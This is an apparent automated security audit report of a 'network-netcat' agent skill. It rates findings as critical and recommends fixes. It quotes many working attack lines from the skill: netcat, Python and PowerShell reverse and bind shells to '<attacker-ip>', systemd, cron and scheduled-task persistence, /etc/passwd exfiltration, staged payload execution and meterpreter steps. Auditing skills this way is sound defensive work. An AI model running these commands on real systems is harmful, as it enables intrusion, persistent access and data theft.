Versioned security assessment
Report ID: SA-911928A3
7/6/2026, 12:49:01 AM
network-netcat security assessment v7
Skill Security Certification Report
Audit model: codex Historical report
- Skill name
- network-netcat
- Version
- v7
- Maintainer
- AgentSecOps
- Coverage
- 5 Files scanned · 2,086 Lines analyzed
- Policy version
- Unavailable
Highest confirmed finding severity
Critical
21 confirmed security findings require attention.
Installation context
Historical evidence
This report may not describe the currently installable artifact. Open the current Skill page for install guidance.
Open current Skill pageThis report does not block or authorize the manifest or ZIP.
The skill contains many documentation-only findings in templates and references, which are false positives. However, SKILL.md provides operational instructions for reverse shells, bind shells, payload staging, exfiltration, persistence, and Metasploit post-exploitation, so the offensive-content risk is confirmed.
Report position
Historical report
Open audit history before using this report to install.
Audit attestation
Not attestable
The required immutable binding is incomplete.
Human verification
Not verified
No human verification is recorded for this report.
Coverage
5 Files scanned · 2,086 Lines analyzed
66 items shown for review
Limitations
This report does not claim runtime or sandbox execution and does not prove the absence of side effects.
Evidence chain
Follow the evidence from source binding to the install contract. Available evidence supports verification; it is not a safety guarantee.
Source
Binding unavailable
Artifact
Identity incomplete
Audit
Complete
Capabilities observed
Observed means this report recorded supporting evidence. Not recorded does not prove that a capability is absent.
Contains scripts
May execute code included with the Skill.
Observed in 2 evidence locations
Network access
May connect to external services.
Observed in 24 evidence locations
Filesystem access
May read or write local files.
Observed in 11 evidence locations
Env variables
May read values from the process environment.
Observed in 18 evidence locations
External commands
May invoke commands or programs outside the Skill.
Observed in 91 evidence locations
Capability review items (45)
Critical
Python subprocess.call
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(
The Python one-liner opens a socket to an attacker host, redirects standard streams, and starts an interactive shell. This is a complete reverse-shell payload.
Critical
Python PTY spawn (shell access)
python -c 'import pty; pty.spawn("/bin/bash")'
The command spawns /bin/bash through Python PTY in the reverse-shell workflow. This directly improves unauthorized interactive shell capability if misused.
Critical
Python PTY spawn (shell access)
python3 -c 'import pty; pty.spawn("/bin/bash")'
The command spawns /bin/bash through Python PTY in the reverse-shell workflow. This directly improves unauthorized interactive shell capability if misused.
Critical
Python PTY spawn (shell access)
python -c 'import pty; pty.spawn("/bin/bash")'
The command spawns /bin/bash through Python PTY in the reverse-shell workflow. This directly improves unauthorized interactive shell capability if misused.
Critical
PowerShell invocation
# PowerShell reverse shell
The PowerShell line is a reverse shell that connects to an attacker host and executes received commands. This is high-risk remote command execution guidance.
Critical
PowerShell invocation
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<attacker-ip>',4444);$stream
The PowerShell line is a reverse shell that connects to an attacker host and executes received commands. This is high-risk remote command execution guidance.
Critical
Windows cmd.exe
ncat.exe <attacker-ip> 4444 -e cmd.exe
The ncat command attaches cmd.exe to a network connection. This creates a Windows command shell over the network.
Critical
Windows cmd.exe
ncat.exe -lvnp 4444 -e cmd.exe
The ncat command attaches cmd.exe to a network connection. This creates a Windows command shell over the network.
Critical
Windows cmd.exe
schtasks /create /tn "NetworkCheck" /tr "C:\ncat.exe <attacker-ip> 4444 -e cmd.exe" /sc onstart /ru
The ncat command attaches cmd.exe to a network connection. This creates a Windows command shell over the network.
Critical
Unix shell invocation
nc <attacker-ip> 4444 -e /bin/bash
The command attaches a Unix shell to a netcat connection or persistence loop. This is operational reverse or bind shell guidance.
Critical
Unix shell invocation
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
The command attaches a Unix shell to a netcat connection or persistence loop. This is operational reverse or bind shell guidance.
Critical
Unix shell invocation
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(
The command attaches a Unix shell to a netcat connection or persistence loop. This is operational reverse or bind shell guidance.
Critical
Unix shell invocation
nc -lvnp 4444 -e /bin/bash
The command attaches a Unix shell to a netcat connection or persistence loop. This is operational reverse or bind shell guidance.
Critical
Unix shell invocation
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f
The command attaches a Unix shell to a netcat connection or persistence loop. This is operational reverse or bind shell guidance.
Critical
Unix shell invocation
ExecStart=/bin/nc <attacker-ip> 4444 -e /bin/bash
The command attaches a Unix shell to a netcat connection or persistence loop. This is operational reverse or bind shell guidance.
Critical
Unix shell invocation
(crontab -l; echo "@reboot /bin/nc <attacker-ip> 4444 -e /bin/bash") | crontab -
The command attaches a Unix shell to a netcat connection or persistence loop. This is operational reverse or bind shell guidance.
Critical
Unix shell invocation
meterpreter > execute -f nc -a "<attacker-ip> 4444 -e /bin/bash"
The command attaches a Unix shell to a netcat connection or persistence loop. This is operational reverse or bind shell guidance.
Critical
Unix shell invocation
sh-4.2$ /tmp/nc <attacker-ip> 5555 -e /bin/bash
The command attaches a Unix shell to a netcat connection or persistence loop. This is operational reverse or bind shell guidance.
Critical
Unix shell invocation
cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
The command attaches a Unix shell to a netcat connection or persistence loop. This is operational reverse or bind shell guidance.
Critical
Unix shell invocation
ncat <attacker-ip> 4444 -e /bin/bash
The command attaches a Unix shell to a netcat connection or persistence loop. This is operational reverse or bind shell guidance.
Critical
Unix shell invocation
while true; do nc <attacker-ip> 4444 -e /bin/bash; sleep 10; done
The command attaches a Unix shell to a netcat connection or persistence loop. This is operational reverse or bind shell guidance.
Critical
Unix shell invocation
while true; do nc <attacker-ip> 4444 -e /bin/bash 2>/dev/null; sleep 60; done
The command attaches a Unix shell to a netcat connection or persistence loop. This is operational reverse or bind shell guidance.
Critical
Temp directory access
nc <attacker-ip> 4444 < /dev/null > /tmp/stage2.sh
The commands write a staged script under /tmp, make it executable, and run it. This is explicit payload staging and execution.
Critical
Temp directory access
chmod +x /tmp/stage2.sh
The commands write a staged script under /tmp, make it executable, and run it. This is explicit payload staging and execution.
Critical
Temp directory access
/tmp/stage2.sh
The commands write a staged script under /tmp, make it executable, and run it. This is explicit payload staging and execution.
Critical
Temp directory access
meterpreter > upload /usr/bin/nc /tmp/nc
The Metasploit section uploads netcat to /tmp and executes it for shell access. This is post-exploitation tooling behavior.
Critical
Temp directory access
sh-4.2$ /tmp/nc <attacker-ip> 5555 -e /bin/bash
The Metasploit section uploads netcat to /tmp and executes it for shell access. This is post-exploitation tooling behavior.
High
Process spawn
python -c 'import pty; pty.spawn("/bin/bash")'
The Python PTY command is presented as a reverse-shell upgrade step. It strengthens interactive shell access after compromise.
High
Process spawn
python3 -c 'import pty; pty.spawn("/bin/bash")'
The Python PTY command is presented as a reverse-shell upgrade step. It strengthens interactive shell access after compromise.
High
Process spawn
python -c 'import pty; pty.spawn("/bin/bash")'
The Python PTY command is presented as a reverse-shell upgrade step. It strengthens interactive shell access after compromise.
High
Unix shell invocation
python -c 'import pty; pty.spawn("/bin/bash")'
The command supports upgrading a reverse shell into a usable interactive terminal. It is part of the shell access workflow.
High
Unix shell invocation
python3 -c 'import pty; pty.spawn("/bin/bash")'
The command supports upgrading a reverse shell into a usable interactive terminal. It is part of the shell access workflow.
High
Unix shell invocation
export SHELL=/bin/bash
The command supports upgrading a reverse shell into a usable interactive terminal. It is part of the shell access workflow.
High
Unix shell invocation
python -c 'import pty; pty.spawn("/bin/bash")'
The command supports upgrading a reverse shell into a usable interactive terminal. It is part of the shell access workflow.
High
Hardcoded IP address
nc -lvnp 9090 -c "nc 192.168.1.100 3389"
The IP address appears in a pivot-chain example through a compromised host to an internal RDP service. The context is internal-network relay and pivoting, which is high-risk dual-use behavior.
High
Standard device file access
nc <attacker-ip> 4444 < /dev/null > /tmp/stage2.sh
The /dev/null redirection appears in a staged payload download flow that writes and later executes a script under /tmp. The device access supports the payload workflow.
High
Standard device file access
while true; do nc <attacker-ip> 4444 -e /bin/bash 2>/dev/null; sleep 60; done
The stderr redirection hides errors in a reconnecting netcat reverse-shell loop. This supports stealthy or resilient shell behavior.
High
Temp directory access
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
The temporary named pipe is used to build a netcat reverse or bind shell when the direct execution flag is unavailable. This is a known shell technique.
High
Temp directory access
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f
The temporary named pipe is used to build a netcat reverse or bind shell when the direct execution flag is unavailable. This is a known shell technique.
High
Temp directory access
rm /tmp/f; mkfifo /tmp/f
The temporary named pipe is used to build a netcat reverse or bind shell when the direct execution flag is unavailable. This is a known shell technique.
High
Temp directory access
cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
The temporary named pipe is used to build a netcat reverse or bind shell when the direct execution flag is unavailable. This is a known shell technique.
Medium
Hardcoded URL
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The hardcoded URL is part of the curl-to-bash install step. The URL itself is public, but the surrounding pattern creates remote-code-execution risk in CI.
Medium
Shell command substitution
LOG_DIR="shells/$(date +%Y%m%d)"
The date substitution appears inside an automatic reverse-shell listener script that records shell sessions. The substitution itself is simple, but it supports risky shell automation.
Medium
Shell command substitution
TIMESTAMP=$(date +%H%M%S)
The date substitution appears inside an automatic reverse-shell listener script that records shell sessions. The substitution itself is simple, but it supports risky shell automation.
Medium
Unix shell invocation
#!/bin/bash
The shebang starts an automation script described as an automatic reverse shell handler. The direct shell invocation is benign alone, but the context is risky.
Risk findings
Confirmed security concerns are separated from items that still need review.
Confirmed security concerns (21)
RISK-001 Critical
Pipe to shell pattern
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The CI template downloads a remote installer with curl and pipes it directly to bash. If reused, a compromised upstream script would execute arbitrary code in CI.
RISK-002 Critical
Shell backdoor keywords
tags: [networking, netcat, reverse-shell, file-transfer, port-scanning, banner-grabbing]
The metadata tags advertise reverse-shell capability, matching the later operational shell examples. This is not a harmless keyword occurrence.
RISK-003 Critical
Metasploit framework
### Metasploit Integration
The section provides Metasploit and meterpreter post-exploitation steps using netcat for shell access. This is operational offensive tradecraft, not passive documentation.
RISK-004 Critical
Metasploit framework
# Metasploit session backgrounding and netcat shell
The section provides Metasploit and meterpreter post-exploitation steps using netcat for shell access. This is operational offensive tradecraft, not passive documentation.
RISK-005 Critical
Metasploit framework
meterpreter > execute -f nc -a "<attacker-ip> 4444 -e /bin/bash"
The section provides Metasploit and meterpreter post-exploitation steps using netcat for shell access. This is operational offensive tradecraft, not passive documentation.
RISK-006 Critical
Metasploit framework
meterpreter > upload /usr/bin/nc /tmp/nc
The section provides Metasploit and meterpreter post-exploitation steps using netcat for shell access. This is operational offensive tradecraft, not passive documentation.
RISK-007 Critical
Metasploit framework
meterpreter > shell
The section provides Metasploit and meterpreter post-exploitation steps using netcat for shell access. This is operational offensive tradecraft, not passive documentation.
RISK-008 Critical
Malware type keywords
transfers, and backdoor communication channels. Use when: (1) Testing network connectivity and
The skill description states that it covers backdoor communication channels. The body later provides concrete shell and persistence examples, so the keyword reflects real capability.
RISK-009 Critical
Malware type keywords
### Pattern 4: Persistent Backdoor (Authorized Testing)
The surrounding section describes creating a persistent netcat backdoor and enabling it on the system. This is operational persistence guidance.
RISK-010 Critical
Malware type keywords
cat > /etc/systemd/system/netcat-backdoor.service <<EOF
The surrounding section describes creating a persistent netcat backdoor and enabling it on the system. This is operational persistence guidance.
RISK-011 Critical
Malware type keywords
systemctl enable netcat-backdoor.service
The surrounding section describes creating a persistent netcat backdoor and enabling it on the system. This is operational persistence guidance.
RISK-012 Critical
Malware type keywords
systemctl start netcat-backdoor.service
The surrounding section describes creating a persistent netcat backdoor and enabling it on the system. This is operational persistence guidance.
RISK-013 Critical
System password file access
cat /etc/passwd | nc <attacker-ip> 5555
The example pipes /etc/passwd to netcat under a Data Exfiltration heading. This is explicit sensitive file exfiltration guidance.
RISK-014 Critical
Systemd service enablement
systemctl enable netcat-backdoor.service
The command enables a systemd service named netcat-backdoor with a reverse shell ExecStart. This is clear persistence setup.
RISK-015 Critical
Windows scheduled task creation
schtasks /create /tn "NetworkCheck" /tr "C:\ncat.exe <attacker-ip> 4444 -e cmd.exe" /sc onstart /ru
The command creates a Windows scheduled task that launches ncat with cmd.exe as SYSTEM. This is explicit Windows persistence for a shell.
RISK-016 Critical
[HEURISTIC] SUSPICIOUS COMBINATION: Code execution + Persistence mechanism
This combination is common in malware that maintains access
The heuristic combination is confirmed by SKILL.md, which includes shell execution, payload staging, and persistence mechanisms. This combination is common in post-exploitation workflows.
RISK-017 Critical
Data Exfiltration Workflow
SKILL.md contains a Data Exfiltration section that instructs users to send sensitive files, database dumps, and web directories through netcat to a receiver.
The section title and examples directly describe moving sensitive local data to an attacker-controlled listener. This is explicit exfiltration intent, not a passive reference.
RISK-018 Critical
Staged Payload Download And Execution
SKILL.md documents a multi-stage payload workflow where a target downloads a script to /tmp, makes it executable, runs it, and expects a reverse shell payload.
The workflow labels the content as multi-stage payload delivery and includes download, chmod, execution, and reverse shell staging. The malicious-use potential is direct and unambiguous.
RISK-019 High
System reconnaissance
echo -e "GET /?cmd=id HTTP/1.0\r\n\r\n" | nc <target-ip> 80
The line sends a crafted HTTP request for command-injection validation to a target service. This is active exploitation-style testing and should remain gated to authorized labs.
RISK-020 High
Network scanning tools
Simple port scanning (note: nmap is more comprehensive):
The surrounding section explicitly teaches simple port scanning with netcat against target hosts. This is dual-use reconnaissance that can be abused outside an authorized scope.
RISK-021 High
Covert Channel And Evasion Guidance
SKILL.md discusses simple chat for covert communication and advises using common ports to blend with normal traffic while noting minimal forensic artifacts.
The cited lines describe covert communication and operational-security choices that reduce visibility. This is intent-level evasion guidance beyond a single static pattern.
Remediation
Suggested fixes recorded by this audit. Applying them is the maintainer’s responsibility.
- FIX-001CriticalOperational reverse shell and bind shell recipesRemove executable shell payloads and replace them with defensive descriptions or isolated lab-only, non-executable placeholders.
- FIX-002CriticalPersistence through systemd, cron, and Windows scheduled tasksDelete persistence setup steps and provide detection and cleanup guidance instead.
- FIX-003CriticalData exfiltration and staged payload execution examplesRemove examples that pipe sensitive files, database dumps, directories, or downloaded scripts through netcat.
- FIX-004CriticalMetasploit and meterpreter integration instructionsRemove post-exploitation integration commands or restrict the material to high-level defensive detection notes.
- FIX-005CriticalCI template downloads an installer with curl piped to bashPin the tool version, download a release artifact, verify its checksum, and avoid piping remote content directly to a shell.
Expert evidence
Immutable subject identity, scanner metadata, dismissed matches, and source-level evidence.
Artifact subject
- Marketplace commit
- Unavailable
- Content hash
- Unavailable
- Tree hash
- Unavailable
- Skill path
- Unavailable
- Audit payload hash
- Unavailable
Analysis metadata
Audit model: codex
Analysis state: Complete
Scope is limited to the recorded files, lines, methods, and evidence. No runtime or sandbox execution is claimed.
Static false positives ignored (7)
High
C2 keywords
- **T1041**: Exfiltration Over C2 Channel
Force-confirmed blocker/high static finding; AI dismissal overridden.
High
Malware type keywords
[ ] 10. Remove malicious artifacts (malware, backdoors, webshells)
Force-confirmed blocker/high static finding; AI dismissal overridden.
High
Malware type keywords
[ ] 8. Remove any backdoors or persistence mechanisms
Force-confirmed blocker/high static finding; AI dismissal overridden.
High
Malware type keywords
- **Cleanup**: Remove all shells, listeners, and backdoors post-engagement
Force-confirmed blocker/high static finding; AI dismissal overridden.
High
Network scanning tools
- https://nmap.org/ncat/guide/index.html
Force-confirmed blocker/high static finding; AI dismissal overridden.
High
Network scanning tools
# Install ncat (Nmap project, more features)
Force-confirmed blocker/high static finding; AI dismissal overridden.
High
Network scanning tools
- [Ncat Users' Guide](https://nmap.org/ncat/guide/index.html)
Force-confirmed blocker/high static finding; AI dismissal overridden.
Verify and export
The manifest and lockfile bind install artifacts to cryptographic hashes. This integrity claim is separate from the security assessment.
Audit attestation: not_attestable